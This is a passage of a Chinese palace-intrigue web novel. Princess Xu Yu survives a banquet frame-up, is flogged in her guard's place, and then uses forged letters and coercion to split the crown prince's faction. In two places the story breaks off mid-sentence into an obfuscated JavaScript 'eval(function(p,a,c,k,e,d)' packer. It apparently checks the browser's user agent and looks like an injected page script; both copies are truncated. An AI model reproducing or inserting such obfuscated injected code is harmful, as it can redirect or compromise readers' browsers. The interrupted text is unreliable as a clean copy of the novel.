他顿了顿,眼中闪过一丝阴狠,“臣弟已安排好了人,过几日,便会教咱们的这位大公主好看!” 57. 技高一筹 几日后,宫里举办一年一度的赏花宴,皇城中适龄的官宦子女都要参加,胥毓推拒不了,只好也跟着出席。 晨起梳妆,铜镜里映出的佳人,眉如远山含黛,眼似秋水横波,肌肤莹白赛雪,唇瓣嫣红如樱,纵是素面朝天,也美得让人心头一颤。 芳吟从樟木衣柜里取出件月白色宫装,轻声道:“公主,今日还是素净些好。太子那边近来动作频频,咱们且低调着,免生事端。” 胥毓指尖抚过衣袖上的银丝暗纹,那牡丹开得饱满,却藏着几分锋芒。 她望着镜中自己,淡淡道:“你说得是,今日这宴,怕是要起风波的。” 话音未落,琴夏已将她的青丝绾成朝云髻,插上支累丝嵌宝的金丝凤钗,钗头凤凰眼嵌着两颗鸽血红,在晨光里流转着细碎的光。 自从在招揽张明远一事上让太子吃瘪后,胥毓就格外小心。太子睚眦必报的性格她再清楚不过,这次赏花宴,恐怕不会如表面上的那般平静。 …… 行至御花园后,胥毓抬眼望去,只见御花园里早已是花团锦簇。 姚黄魏紫开得泼泼洒洒,那成片的芍药,粉的如霞,白的似雪,风过处,花海翻涌,香气袭人。 贵女们三三两两聚着,青裙粉衫映在花丛里,笑语如莺啼,衣香与花香缠在一处,倒也热闹。 可胥毓一踏入园子,周遭的喧哗便似被无形的手按住了,无数道目光齐刷刷投来,有艳羡,有探究,也有藏不住的嫉妒。 “荣安公主来了!”有人低低惊呼。 “听说前些日子,皇上恩准了她随意进出宫门,这在咱们东陵城,也是头一份的恩宠呢……” 胥昭云与胥弦月一左一右跟在胥毓身后。 胥昭云身着石青色褙子,举止端庄,见人便颔首浅笑,礼数周全。 胥弦月穿了件水红色罗裙,活脱脱一只欢脱的小雀儿,眼波流转间尽是孩子气。她指着远处一片绯红的花海,雀跃道:大皇姐,你看那片碧桃,开得多好! 胥毓顺着她的指尖望去,目光却不经意扫过人群。 杜若衡站在不远处的海棠树下,青衫落了几点花瓣,见了她,欲言又止,只垂着眼帘,那模样,倒比寻常更显局促。 自从赐婚,这位名义上的未婚夫就总这般唯唯诺诺,让她提不起半分兴致。反倒是弦月,前几日出宫与他见过几面,此刻见了,便像只脱缰的小鹿,蹦蹦跳跳跑过去,两人很快在花下说笑起来。 胥毓看着杜若衡望向弦月时,那眼神里藏着的小心翼翼与几分向往,心头微微一动。 胥昭云顺着她的目光望去,嘴角噙着丝浅笑:“弦月年纪小,不懂事,与杜公子走得近了些。” 胥毓正待说话,却被一道声音打断:“大皇姐。” 转身看时,三皇子胥华荣摇着把折扇走来,脸上堆着笑,但那笑意却没到眼底。他身后不远处,太子胥阳丹正带着一群年轻公子朝这边望,目光撞在一处,太子微微颔首,眼底闪过一丝深不可测。 “三皇弟。”胥毓淡淡颔首,头上凤钗在阳光下亮得晃眼。 胥华荣眼中掠过一丝惊艳,随即笑道:“听说今日大皇兄请了不少门下才子来,大皇姐要不要去见识见识?” 胥毓心中一凛,这胥华荣与胥阳丹素来交好,蛇鼠一窝,凑在一起,准没好事。她若凑过去看看,那岂不是自投罗网,羊入虎口吗? 所以淡淡的瞥了胥华荣一眼,她语气平淡:“三皇弟消息倒是灵通。只是我已与杜公子有婚约,此时引荐旁人,三皇弟……莫不是对父皇的赐婚有何不满?” “不敢不敢。”胥华荣连忙摆手,眼珠子却滴溜溜转着,显然没安好心。 胥毓正欲脱身,谁知此时变故陡生。 只听“哎呀”一声,胥华荣手中茶盏“哐当”落地,琥珀色的茶水溅满了胥毓月白色的裙摆,迅速晕开一片深色。 周遭贵女们纷纷侧目,窃窃私语如蚊蚋,胥毓看着那片茶渍,眼神一点点冷下去。 而胥华荣故作惊慌:“大皇姐恕罪!快,快带公主去偏殿更衣!” 此时,一个穿青绿色宫装的宫女立刻上前,低眉顺眼地请她移步。 胥毓心中警铃大作,这宫女面生得很,未央宫的人,她个个都认得,所以这个,绝不是她的人! “不必。”她当即冷声拒绝,然后转向芳吟,压低了声音道,“去叫褚奎来。” 芳吟会意,悄悄退了出去。 之后胥毓便在琴夏陪同下朝偏殿走去,但眼看着偏殿越来越近,她的余光忽然瞥见太子正带着人朝这边挪动,脚步不紧不慢,却像张网,正缓缓收紧。 她心头发颤,心中也越发笃定,前方必然是有什么陷阱在等着自己! 供贵人更衣的偏殿有好几间,东边的僻静,西边的挨着假山,中间那间最是敞亮。 胥毓选了中间那间,不按常理,倒也避开了偏僻处的暗算。 可谁知就在她推门而入的瞬间,身后突然传来一声闷响,回头看时,琴夏已软软倒在地上,颈后一片红肿,随即胥毓还没反应过来,一股大力便将她推入房内。 “谁?”她厉声喝道,转身拍门,却发现门已被锁死。 偏殿内静得出奇。 胥毓刚踏入内室,一股若有若无的甜香便钻入鼻腔,腻得人发晕。她立刻屏住呼吸,可终究吸入了少许,顿时头晕目眩,脚步都有些虚浮。 “公主殿下,别来无恙啊。” 屏风后转出一个男子,脸上挂着□□。胥毓瞳孔一缩,强撑着站直身子,那是兵部侍郎之子,那个曾在崇文馆被她教训过的纨绔! “每间偏殿都安排了人。”男子步步逼近,语气里满是得意,“没想到公主偏偏选了我这间,如此看来,咱们俩还真是有缘。” 胥毓强忍眩晕,后退到窗边:“太子许了你什么好处?” “好处?”男子狞笑起来,露出两排黄牙,“能一亲公主芳泽,就是天大的好处!” 原本胥毓还想着同他周旋片刻,等着褚奎来救自己,但是眼下见他完全不上套,便知此法是行不通的了。 想必,在来之前,太子便特意交代过他们速战速决! 所以胥毓也不再同他虚与委蛇,她的眼角余光扫过桌上的青瓷茶壶,趁人不备,便突然抄起,然后狠狠砸向窗户。 “哗啦”一声,瓷器碎裂的声音在寂静的偏殿格外刺耳。 “走水了!快来人啊!”她放声大喊,同时将烛台推倒在帷幔上。 那帷幔是上好的杭绸,遇火便“腾”地窜起火苗,浓烟很快弥漫开来,呛得人睁不开眼。 男子被浓烟呛得清醒了几分,惊恐后退:“你疯了?!我只是听太子的吩咐办事,你没必要拉我一起死吧......” 胥毓没空理他,正用发钗拼命撬着窗棂。 而就在火苗快要舔到她裙角时,窗户突然被人从外一脚踹开,木屑纷飞中,褚奎的声音闯了进来:“公主!” 他二话不说翻窗而入,一把抱起已吸入不少浓烟的胥毓。 可就在他们即将脱身时,殿门突然被猛地推开,太子胥阳丹带着一大群人堵在门口,脸上是掩不住的得意:“好啊!荣安公主竟在赏花宴上与男子私会!” 胥毓在褚奎怀中艰难抬头,眼前的景象让她心沉到了谷底。 皇帝,还有半个后宫的嫔妃命妇,都站在太子身后,目光齐刷刷落在她被一个男子抱在怀中的画面上。 “父皇……”她虚弱地开口,却见皇帝脸色铁青,额上青筋突突直跳。 “把这个玷污公主清白的逆奴拖出去杖毙!”皇帝怒喝,声音里满是震怒。 胥毓回头,那兵部侍郎之子早已不见踪影,她瞬间明白,这场算计,针对的从头到尾都是她和褚奎! 侍卫们一拥而上便要抓走褚奎。 胥毓不知哪来的力气,从褚奎怀中挣脱,踉跄着跪倒在地,膝盖撞在青砖上,疼得她眼前发黑:“父皇明鉴!是有人设计陷害儿臣,褚侍卫是为救儿臣性命才闯了进来的!” “救你?”太子冷笑,“好端端的谁会害你,分明是你们早有私情!” 胥毓看向胥华荣,他躲在太子身后,嘴角噙着恶毒的笑意。 而就在她思考着破局之法时,谁知褚奎这时却忽然面朝胥瀮跪了下去:“皇上,微臣擅闯后宫罪该万死,但公主殿下确实清白无辜。微臣愿以死谢罪,只求陛下明察。” 胥毓一脸惊讶,不明白他这是做什么,他这样,岂不就是认下了和自己有私情一事,这还让她如何辩解呀! 而就在胥毓惊讶的这片刻功夫,皇帝眼神复杂地看着这个他亲自挑选的御前侍卫,他在衡量,衡量褚奎的话是否最合他心意。 而以胥毓对胥瀮的了解,她清楚的知道这个男人必然会同意褚奎的提议,毕竟一个侍卫的性命,在他眼中确实无足轻重。 可在胥毓眼里,褚奎不仅仅是她的侍卫,更是她的朋友。 “父皇!”所以她当即重重 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他深深看着胥毓,良久,终于挥手:“来人,准备刑凳。” …… 刑凳摆在御花园正中央,所有赴宴的人都成了这场刑罚的见证。 胥毓平静地伏在凳上,第一杖落下时,她猛地咬紧嘴唇,尝到了血腥味,剧痛如潮水般席卷全身,眼前阵阵发黑。 随后第二杖、第三杖紧随其后,直到数到第七下时,后背已是血肉模糊,像雪地里绽开的红梅,触目惊心! 而就在这时,她的耳畔突然传来一阵骚动,只听有人厉声喝道:“住手!” 胥毓艰难地转头,看见皇后正从不远处疾步而来,凤袍曳地,神色焦灼。 “皇上这是要打死毓儿吗?”皇后挡在她身前,袖中的手微微发抖。 皇帝冷笑:“是她自己要替奸夫受罚。” “奸夫?”皇后声音陡然拔高,带着几分悲愤,“皇上何时变得如此武断,连查都不查就要给她定罪?究竟是真的证据确凿,还是皇上你自己私心作祟!” 这话实在大胆,皇帝脸色骤变,眼中闪过一丝慌乱。 胥毓却心知肚明,胥瀮是想起了当年胥季荷选择了胥殊而没选择他的事情,看见她与褚奎在一起,疑心她会像胥季荷一样脱离掌控,所以才如此震怒。 就在此僵持之际,一阵急促的脚步声又忽然传来。 邰玉轩匆匆赶到,额角还挂着汗珠,青衫前襟沾了些尘土。 他先是看了眼血肉模糊的胥毓,眼神暗了暗,随即单膝跪地:“皇上,臣有要事禀报。” 皇帝不耐烦地挥手:“没看见朕在处置家事?” 邰玉轩不动如山:“正是与此事有关。” 他带来了证据。 偏殿内有被撬动的痕迹,窗户上有褚奎的脚印,芳吟带来的宫女们也都跪在一旁,证实褚奎确实是后来才从未央宫赶出来去救人的。 杖刑终究是停了。 胥毓被抬回未央宫时,早已意识模糊。 恍惚间,她感觉到有人轻轻握住她的手,是邰玉轩。他借着掖被角的动作,轻轻拉住她的手,那指尖微凉,在她手心轻轻一按。 “先好好养伤,之后的事,交给我。”他声音压得极低,像风拂过湖面,只留下一圈微澜。 胥毓微弱地点点头,随即陷入黑暗。 再醒来时,已是月上柳梢。 窗外的月光透过窗棂,洒在地上,像铺了层霜。 芳吟正为她换药,见她要起身,连忙按住:“公主别动,伤口会裂开。” “褚奎呢?”胥毓声音嘶哑。 芳吟手上动作一顿,声音低了下去:“皇上到底是容不下他,想要将他外派,可褚奎表示进宫只是为了追随公主,如今既然唐突了公主,不能再留在未央宫,那么他宁愿重新做回庶民,离开皇宫。” “什么时候的事?” “就在您受刑后。”芳吟眼圈泛红。 可胥毓却突然笑了,笑得牵动了伤口,血渗出来,染红了中衣,那笑声里没有半分伤心,倒带着几分释然。 “出去也好。”她咬着牙道,“公主府快修缮好了,便让他去公主府当差吧,刚好那边,也正有用得上他的地方。至于胥阳丹......” 她眼中寒光凛冽,“既然他想斗,那咱们就看看……到底谁更技高一筹!” 58. 下一个就是你。 养伤的这些日子,胥毓并未得闲。 她斜倚在铺着银红撒花软缎的软榻上,身下垫着层叠的锦褥,却仍觉后背的伤口似有无数细针在扎,那痛虽绵延不绝,却远不及心头那团焦灼烈火,烧得她坐立难安。 窗上糊着雨过天青色的软纱,日光透过纱眼筛进来,在她苍白的脸上投下斑驳的光影,倒添了几分病中弱态。 她指尖在紫檀木案几上轻轻敲击,案上摆着只官窑霁蓝釉笔洗,里面插着几支羊毫笔。 “琴夏,把前些日子我写得那些东西都拿来。”她声音轻得像羽毛,却带着不容置疑的分量。 琴夏穿着葱绿撒花绫子袄,抱着厚厚一摞纸走进来,小心地放在榻边矮几上,动作轻得生怕惊动了主子:“公主,您要的都在这儿了。另外,邰世子差人来说,今日会过来一趟。” 胥毓微微颔首,伸手取过最上面那份边缘已有些磨损的纸张,她指尖抚过上面的朱批,忽然问正在整理药膏的芳吟:“芳吟,张大人今日可有递话进来?” 芳吟穿着月白绫子裙,闻言忙放下手中的青花药罐,回道:“张大人说,沈尚书近日对太子颇有微词,尤其是这次赏花宴的事,在同僚面前都露了些口风呢。” 胥毓唇角微扬,那笑意却未达眼底。 沈文石是太子的外祖父,多年来如同老树盘根般坚定支持太子。可太子近来行事越发乖张,这次在赏花宴上明目张胆地陷害她,朝中那些老狐狸谁看不出来? 不过是碍于太子身份,不便明说罢了。 “让张明远再加把火。”她合上纸张,眼中闪过一丝锐利,“就说太子近日与北狄使者私下会面,恐有不妥。” 芳吟倒吸一口凉气,手里的药膏险些摔在地上:“公主,这……这可是大罪啊!万一太子届时狗急跳墙,咱们只怕是会遭受牵连的吧?” “不必担心,只是先给某些人上上眼药罢了,毕竟无凭无据,暂时也治不了他的罪。”胥毓轻笑,声音里带着几分漫不经心,“这次只要在沈文石心里埋下怀疑的种子,就够了。” 窗外的石榴树枝桠上,一只知更鸟落在枝头,一身鲜红的羽毛在绿叶间格外扎眼,啾啾鸣叫着。 夜幕降临,未央宫笼罩在一片静谧之中。 宫灯次第亮起,昏黄的光晕透过窗棂,在地上投下格子状的影子。 胥毓刚喝完药,药碗还带着苦涩的余温,便被芳吟收了去。她倚在窗边看月亮,一轮满月挂在天上,清辉如水,洒在阶前的青苔上。 忽然听见窗棂轻轻一响。 “公主。”邰玉轩的声音从窗外传来,压得极低。 胥毓示意芳吟退下,轻声道:“进来吧。” 邰玉轩翻身入内,墨色锦袍在月光下泛着柔和的光泽,腰间玉带是上好的和田玉,泛着清冷的光。他看见胥毓苍白的脸色,眉头微蹙,眼底掠过一丝关切:“伤可好些了?” “死不了。”胥毓示意他在对面的玫瑰椅上坐下,语气淡淡的,“查得如何?” 邰玉轩从袖中取出一叠文书,纸张薄而韧,是特制的宣纸:“都在这儿了。太子和三皇子的计划比我们想的更阴毒。” 原来当日太子和三皇子商量好的计策,是让三皇子将胥毓骗到偏殿。那偏殿里的各个房间,都藏好了他们的人,不管胥毓选择哪一个房间,最后都会在里面遇见他们安排的人。 这些人的目的看似是想要侵犯胥毓,好让别人捉奸在床,诬陷她的名声。可这些人都是世家子弟,怎会为了帮助太子而毁了自家名声?毕竟胥毓是公主,皇帝就算惩罚,也不过小惩大诫,而最重的惩罚也只会落在他们这些被当作“奸夫”的小卒身上。 “他们看似是想坏我的名声,实则是瞄准了褚奎。”胥毓接过文书,指尖划过上面的字迹,“想拖住我,引褚奎来,再在我们接头时,带所有人撞破,诬陷我和侍卫私通。这样不管罚我还是罚褚奎,对他们都有利,又不会损伤自己的实力。” 邰玉轩点头:“只是他们没料到,公主宁愿自己受罚,也不肯让褚奎认罪。” 胥毓冷笑一声,笑声里带着几分自嘲:“他们算错了一步,对于他们,褚奎只是一个无足轻重的侍卫,可对我而言,从北甸城一路走来,我早就将他当做了推心置腹的朋友,所以,我岂能让他送死?” 之后,邰玉轩又详细讲解了这段时间,他已将太子和裕嘉接头的证,一点点散了出去,又让张明远有意无意地递到了沈尚书面前。 “听说沈文石知道后,面上虽没显露,私底下却大为恼怒,对太子极为不满,恐有不再支持他的心思。” “毕竟是亲外孙,多年扶持教导,哪能说放手就放手。”胥毓指尖在案几上敲着,若有所思,“得再拱一把火,至少要断了胥阳丹的左膀右臂。” 她抬眼看向邰玉轩,眼中闪着狡黠的光,“三皇子不是很支持太子吗?不如想个办法,让他们生出嫌隙。那个兵部侍郎的儿子潘廷敬也牵涉其中,他们为权势投靠太子,可若太子疑心他们,想卸磨杀驴,他们会不会为了自保而反拉太子下水呢?” 邰玉轩眼中一亮,渐渐明白了过来,起身道:“臣知道该怎么做了。” “不就是一箭双雕嘛,他们做得,咱们自然也不能落于下风。”胥毓看着他的背影,冷笑一声。 邰玉轩转过身,目光落在她身上,月光洒在她脸上,勾勒出精致的轮廓,却也映出了她眼底的疲惫。 他忽然伸手,轻轻握住她的手腕。他的手掌温暖干燥,指腹有常年握剑留下的薄茧,摩挲着她腕上细腻的皮肤。 “值得吗?”他声音低沉,带着一丝不易察觉的颤抖,“那个位置……真要拿命去搏?” 胥毓没有抽回手,只是轻声道:“邰玉轩,你见过被剖腹取子的母鹿吗?” 邰玉轩一怔,不解地看着她。 “当年,我母亲在北甸城的破庙里被人害死,我是从死人肚子里爬出来的。”她声音很轻,像在说别人的故事,可指尖却微微颤抖,“我生来就带着仇恨,活着就是为了复仇。否则,九泉之下的父母怎能安心?我又有何面目去见他们?” 窗外一阵风吹过,带来远处荷塘的清香,混着淡淡的桂香。 邰玉轩沉默良久,突然单膝跪地,在她伤痕累累的手背上落下一个轻吻,动作虔诚而郑重:“臣愿为公主手中利剑,万死不辞。” …… 几日后,细雨淅沥,敲打着窗棂,发出沙沙的声响。 云溪铺子后院的偏房里,烛火摇曳,将两人的影子投在墙上,忽明忽暗。 邰玉轩执笔的手在宣纸上轻轻滑动,狼毫笔饱蘸浓墨,墨迹渐渐晕染,化成三皇子特有的潦草字迹。他写几笔便停一停,对照着手边的真迹,调整着笔锋。 “三皇兄这手字,倒是好模仿。”胥毓凑近细看,发丝垂落在他手背上,带着淡淡的茉莉香,是她常用的香粉味道。 邰玉轩喉结微动,笔尖一顿,墨滴落在纸上,晕开一小团黑。 他定了定神,继续写道:“他给太子写的密信,向来这般敷衍。”说着又在信尾添了几笔,“这样就像了。” 信上写着三皇子与潘廷敬密谋陷害胥毓的细节,字里行间透着对太子的不满,仿佛积怨已久。胥毓拿起另一封伪造的潘廷敬的家书,轻轻吹干墨迹,纸张微微卷曲:“明日让褚奎‘不小心’掉在三皇子必经之路上。” 窗外一道闪电划过,照亮了两人对视的眼神,彼此眼中都有势在必得的光芒。邰玉轩突然握住她的手,她的手微凉,指尖带着药草的味道:“毓儿,这一步若成……” “想必太子党必定狗急跳墙。”胥毓反握住他,指尖在他掌心轻轻一划,像在写字,“狗咬狗的戏码,最好看了。” 三日后,天放晴了,院子里的牡丹开得正艳,姚黄魏紫,争奇斗艳,引得蜂蝶飞舞。 三皇子胥华荣穿着件宝蓝色的杭绸袍子,摇着折扇,正和胥阳丹聊完政事,准备离开,却不想在走到假山后时,脚边似乎踢到了什么东西。 他弯腰拾起,是个信封,没有署名。打开一看,脸色骤变,手中的折扇“啪”地掉在地上,扇骨都断了一根。 “这...这不可能...”他肥白的手指颤抖着,豆大的汗珠从额头滚落,浸湿了鬓角的头发。 然后左看右看,确定没什么人发现,才心惊胆战地将东西揣进袖子里,然后逃也似地出了门! 远处,褚奎隐在树影里,一身粗布短打,和寻常的园丁无异。 他看着三皇子慌慌张张地将信塞进袖中,踉跄着奔向大门,脚步都有些不稳,便转身没入暗处,,去向胥毓复命。 与此同时,潘廷敬府上也“恰好”收到一封三皇子的“密信”。潘侍郎看完信,面色铁青,将信纸凑到烛火上,看着它化为灰烬,咬牙道:“太子这是要过河拆桥啊!” 次日朝会,邰玉轩故意在潘侍郎附近与同僚低语,声音不大不小,刚好能让身边人听见:“潘府近日……似有异动,听说和太子走得远了。” 潘侍郎的背影一僵,手中的笏板险些落地,指节因为用力而发白。散朝时,他刻意避开太子一党的官员,低着头匆匆离去,像是在躲避什么。 而因着这几封密信的挑拨,三皇子和兵部侍郎一家近来都忧心忡忡,疑心太子想要卸磨杀驴。所以对于太子近日的联系,都怀着几分戒备,纷纷托病不去。 太子本就疑心重,这些人在关键时刻屡次不来接头,商量对付胥毓的事,更让他心里的怀疑疯长。 东宫书房内,檀香袅袅,太子胥阳丹将茶盏狠狠砸在地上,官窑的瓷器碎成几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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胥毓对着铜镜抿了抿唇上的胭脂,是上好的玫瑰膏,颜色娇艳:“备轿,去天牢。” 天牢里霉味混着血腥气,呛得人难受。 胥毓用绣着兰草的帕子掩着口鼻,一步步走向最里间的牢房。 墙壁潮湿,渗着水迹,地上的稻草散发出腐烂的气息。潘老侍郎被铁链锁在墙上,铁链嵌入皮肉,渗着血。 他看见胥毓,浑浊的眼中迸出恨意:“公主是来看老夫笑话的?你也别高兴的太早,太子睚眦必报,早晚你也会跟老夫一样身首异处的!” “那就多谢老先生关心了。”胥毓笑了笑,声音轻柔,却带着刺骨的寒意,“不过想要本公主死的人太多了,只可惜,大人今日倒是要先我一步阖家团圆。” 她说着示意狱卒退下,牢房里顿时只剩下他们两人,“不过老先生,令孙今年才七岁吧?听说生得粉雕玉琢,很是可爱。” 老人的眼神骤然一变,像被针扎了一般,身体剧烈地挣扎起来,铁链哗啦作响。 胥毓继续道:“老先生要和我做个交易吗?” “写太子的罪状吗?”老人冷笑,笑声嘶哑,“横竖都是死,老夫为何要帮你?” 胥毓从袖中取出一块玉佩,是个长命锁,上面刻着“平安”二字,边角已被摩挲得光滑:“就为本公主虽保不了你全家的命,但却能为你潘家留下这最后的血脉。” 老人的目光凝固在玉佩上,那是他孙儿贴身戴的。 他沉默了良久,铁链的响声渐渐停了,最终他到底还是哑着声音道:“拿纸笔来。” …… 三日后,潘老侍郎的“遗书”悄然流传于朝堂。 信中详述太子如何指使他陷害公主,又如何过河拆桥,更致命的是,那孩子逃走前,将太子私通北狄的证据抄录数份,送到了几位重臣府上。 太子震怒,在书房摔碎了所有能摔的东西,砚台、笔洗、茶盏,碎瓷片散落一地:“是谁放走了那小崽子?!” 胥嘉站在一旁,眼中闪着算计的光:“三哥这几日闭门不出,他府上的人却频繁出入……” “胥华荣!”太子一把掐碎了手中的茶杯,碎片划破了手掌,鲜血混着茶水滴滴答答落在地上,像极了散落的红梅,“好,很好……” 当日,三皇子府的后花园里,胥华荣正战战兢兢地喝着闷酒,桌上的几碟小菜没动几口,酒壶却已空了两个。 突然,一支箭“嗖”地钉在他面前的案几上,箭羽还在颤动,箭上绑着一封信。 胥华荣吓得瘫坐在地上,酒意全无,冷汗浸透了衣衫。 他颤抖着打开信纸,便见信上只有一句话。 “下一个就是你!” 59. 华荣告状,胥毓暗谋 胥华荣被吓得屁滚尿流,他思来想去,还是觉得那封信必然是胥阳丹送来敲打他的。 他狼子野心,对待手足也毫不心慈手软,所以前脚栽赃害死了兵部侍郎一家,现在,就要开始着手对付自己了! 可他背后空无一人,母妃不得宠,其背后的家族也不堪大用,他只是一株草,一株攀附着太子的野草。 而如今太子不再是他的靠山,反倒还成了他的催命符,这让他如何不急,如何不慌,如何不怕? 但他不能死啊,他这么年轻,怎么能就这么灰溜溜的死在胥阳丹的手里。 所以一夜未眠,胥华荣想了一晚上,最终还是决定一不做二不休,先把胥阳丹供出来,到时候他自身难保,估计就没有心思对付自己了吧。 于是当夜,他便秘密进宫,跪在皇帝面前痛哭流涕,将太子这些年的罪行和盘托出。 可胥瀮听完胥华荣的回报,虽然大为震怒,但除了摔了几只茶盏外,竟然并没有将太子宣来问罪,反倒是让胥华荣先回去歇着。 胥华荣心头惴惴不安,不明白父皇这是什么意思,太子做了这么多的坏事,不加以惩处,难不成还要轻轻放下。 这是不是也说明在父皇的眼底,更为看重的其实是胥阳丹,所以不论他犯了多大的错,都只会小惩大诫? 告状以后回到自己家,胥华荣心里面越想越不安,总觉得自己现在脖子上架着一把刀,只等着胥阳丹一声令下,他的脑袋便会立刻分家。 当然,太子也没辜负他的不安。 这不此时此刻,便已经将收割他小命的事情提上了日程。 …… 残阳如血,天边那抹银红的晚霞,层层叠叠铺展开来,将公主府的琉璃瓦映照得格外红艳。庭院中央那棵老槐树,枝桠虬劲,被晚风拂得沙沙作响。 胥毓立在树旁,素手纤纤,指尖轻轻抚过树干上那粗糙的纹路,凹凸不平的触感透过指尖传来,让她纷乱的心绪稍稍定了些。 她身着一袭月白绫裙,裙摆被风微微掀起,露出底下绣着的暗纹,在暮色中若隐隐现。 “公主,人都到齐了。”芳吟的声音轻柔,她手里捧着件月白色的披风,“夜里风凉,仔细着了寒。” 胥毓微微摆了摆手,目光依旧落在那老槐树上,仿佛要从树纹里看出些什么来。片刻后,她才转过身,径直往书房走去。 廊下的灯笼已经点亮,昏黄的光晕透过绢纱,在地上投下斑驳的光影,将她的身影拉得长长的。 推开书房门的瞬间,只听几声轻响,屋内几道身影同时起身。 褚奎一身玄衣,如同融入了窗边的阴影里,双手环胸,眉头微蹙,目光飞速地扫了胥毓一眼,又迅速移开,落在窗外那片沉沉的暮色中。 云溪坐在案几旁,面前摊着本蓝皮册子,她素手握着一支玉簪,轻轻点在书页上,目光专注,长长的睫毛在眼睑下投下一小片阴影。 张明远身着靛青官袍,正将茶盏轻轻放下,茶盖与茶碗相碰,发出一声清脆的“叮”声,他脸上带着几分谨慎,眼神却不时往四周瞟。 邰玉轩则站在离门口最近的地方,见胥毓进来,那双温润的眸子里立刻漾起几分暖意,目光紧紧落在她身上,带着几分关切。 这几人来了,胥毓倒并不怎么意外,毕竟都是她着人请了来的。只是坐在云溪身旁那位,手摇着一把檀香扇,优哉游哉的四皇子胥文璟,却不知为何也跟着来了。 “四皇弟怎么也有空到我这儿来了?”胥毓走到主位旁,目光落在胥文璟身上,语气平淡,听不出什么情绪。 胥文璟收起扇子,往手心轻拍了一下,脸上露出一抹嬉皮笑脸:“当然是想大皇姐了呀。且你们商量这么严重的事情,怎么能不让我在场呢?不管怎么说,我好歹也算得上是你们名义上的主子呀。” 胥文璟话音一落,其他人都没作声,唯有张明远心里“咯噔”一下,暗自吃了一惊。 他一直听从胥毓的指令办事,可胥毓终究是个女子,总不会想要谋夺那至尊之位吧?所以他心里一直犯嘀咕,不知道自己到底是在为谁效力。今日见了四皇子,便暗自猜测,许是在给四皇子办事。这么一想,他又觉得这四皇子的演技实在好得很,这么多年,朝野上下竟然愣是没人看出他有这份心思。 可听他方才那话,明面上的主子…… 难不成自己的猜测又错了?四皇子也不是他效忠的人?那又会是谁呢? 张明远正疑窦丛生,却见胥毓从容不迫地坐上主位,而其他人,都依次排开坐在了她的四周,那姿态,分明是将她奉为核心。 张明远心里又是一惊,一个念头在脑海中闪过:难不成,自己一直效忠的,不是别人,正是眼前这位如此年轻的荣安公主殿下? 他又想起当初昭云公主千叮咛万嘱咐,要他务必听从这位荣安公主的安排。这么说来,除了自己,在场的诸位,竟然全部都知晓他们效忠的人是荣安公主! 张明远又偷偷瞥了一眼四皇子,见他眼底对胥毓,除了对姐姐的敬爱,还掺杂着一份难以掩饰的敬重,想来是真心诚服于他这位大皇姐的。 既然这么多有志之士都能相信她,昭云公主也义无反顾地信她,那自己……便舍命陪君子,安心待在这条船上吧! 张明远心里这番天人交战,旁人自然无从知晓。 这边胥毓已经开门见山,抬手示意众人落座:“三皇子告发胥阳丹的消息,你们应当都听说了吧?” 邰玉轩眉头微蹙,他手指无意识地摩挲着袖口,眼神里满是不解,声音低沉:“皇上竟未立即处置,实在蹊跷。” “因为证据还不够致命。”张明远接过话头,从袖中取出一个卷轴,小心翼翼地展开,露出夹层中的密信。 他指尖点着密信上的字迹,缓缓说道:“今早沈尚书邀我鉴赏字画,话里话外都在打探太子近况。这密信是潘老侍郎临刑前交给心腹的账本抄录,记录着太子私吞军饷的明细,如今已经递到了沈尚书的面前。” 胥毓抬眸,目光落在张明远脸上:“沈文石看过后,没什么反应?” 张明远摇了摇头,嘴角勾起一抹意味深长的笑:“千年的狐狸了,哪能如此轻易暴露自己的情绪。不过我到底跟在他身边这么长时间,他那点心思,我大致还是看得出来的。他对太子,已经失望到了极致,若非太子是先皇后之子,且为正宫嫡子,我想,沈尚书只怕第一个便会上书废太子了。” 胥文璟摇着扇子,轻笑一声:“那看样子,就差最后一把火了。咱们的这位太子哥哥,蹦跶不了多久了。” 他语气轻松,眼底却闪过一丝冷意。 大家心里都清楚,太子的衰败不过是临门一脚的事情。可这一脚,看着轻巧,实际却不好操作。毕竟若是他就此当起了缩头乌龟,不再主动出手,只想苟着小命等皇帝驾崩后上位,那他们也确实没什么太好的办法。 总不能直接杀上门去,取他狗命吧?那样就算能将权势收归囊中,只怕全天下百姓的唾沫星子,也能把他们给淹死。 几人正各怀心思,犹豫着该如何是好,云溪突然轻笑一声,那笑声如同山涧清泉,打破了书房里的沉寂。 她将手里的蓝皮册子轻轻推到胥毓面前:“你们别急,阿柳,你且先看看这个。” 胥毓顺着云溪递来的册子看了起来,只见上面字迹像狗刨,密密麻麻地写满了字。 与此同时,云溪也将自己近日的发现娓娓道来。 “按照画本子里的原著剧情,在胥嘉的帮助下,胥阳丹可谓是一路开绿灯,畅通无阻。所以到了这节点,他不仅众望所归,赢得了所有人的支持,还和胥嘉的感情变得如胶似漆。于是在这个时候,胥嘉就提出了杀掉四皇子,也就是文璟。前世之死,尽管皇后给了她解药,但她却还是因为自己将解药让出,只活了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“好一支出其不意的奇兵。”胥文璟看着那些黑衣人,眼中闪过一丝赞赏,由衷地赞叹道。 胥毓关上窗,转过身,目光落在张明远身上:“沈文石最近在做些什么?” 张明远立刻会意,躬身答道:“没什么异常,只是常常为太子之事烦忧,眉宇间总带着几分愁绪。” 胥毓嘴角勾起一抹冷笑,眼中闪过一丝狡黠:“明面上的事,就不劳张大人出手了,否则若有个什么闪失,只怕昭云妹妹到时候得怨我了。你便只管偶尔向沈文石吹吹耳边风便好,也不用太勤,否则只怕会适得其反。” 提及胥昭云,张明远耳根微微一红,连忙低头应道:“是,属下明白。” 交代完张明远,胥毓又转向云溪,眼神里带着几分探究:“云溪,你可还记得画本子里他们是如何陷害文璟的?” 云溪翻动书页,很快便找到了自己记录的相关段落,她指着书页说道:“她会让宫女假装与四殿下私通,再引太子‘捉奸’。” 胥文璟一听,耳根瞬间涨得通红,他握拳重重砸在案几上,愤愤不平地骂道:“我靠,无耻!小爷的一世英名呀!” 